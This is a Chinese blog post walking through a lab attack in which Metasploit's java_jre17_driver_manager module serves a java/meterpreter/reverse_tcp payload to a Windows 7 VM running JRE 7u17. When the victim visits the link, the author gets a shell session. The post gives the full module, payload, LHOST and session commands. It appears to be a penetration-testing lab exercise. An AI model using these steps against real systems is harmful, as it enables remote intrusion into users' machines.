msf利用jre-7u17-windows-i586漏洞获取shell

最新推荐文章于 2024-07-30 23:30:39 发布

Deeeelete

最新推荐文章于 2024-07-30 23:30:39 发布

阅读量1k

点赞数

分类专栏： web渗透

本文链接：https://blog.csdn.net/Deeeelete/article/details/104473891

版权

38 篇文章 11 订阅

订阅专栏

首先要在win7安装java环境，版本是jre-7u17-windows-i586

百度云链接：https://pan.baidu.com/s/1UOuBZcCKbBcrJM7qzIw_nQ
提取码：ociq
在这里插入图片描述
安装期间先去msf开启模块

use exploit/multi/browser/java_jre17_driver_manager 
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.132.144
jobs -K
exploit

jobs -K是确保后台没有正在执行的会话，如果kali之前没进行任何监听操作的话可以省略这一步。

在这里插入图片描述
等到win7环境安装完成，我们复制url(上图内容的倒数第二行)
http://192.168.132.144:8080/xPIWLfQDV7M
在win7的ie上访问，点击稍后

发现已经建立连接
在这里插入图片描述

 sessions
 sessions -i 1

sessions是查看当前所有已经建立的会话
sessions -i 数字是指定并进入会话，后面的数字是看情况指定的
在这里插入图片描述这样便成功拿到用户权限了。

当然，访问连接之后会在win7界面上生成一个java小窗口，msf应该就是用这个小窗口维持权限，这就类似于xss注入一个宽高为0的窗口进行维持一样，只不过这个java窗口在关闭之后也是可以继续维持的。
在这里插入图片描述

如果关闭java.exe就会断开跟msf的连接

关注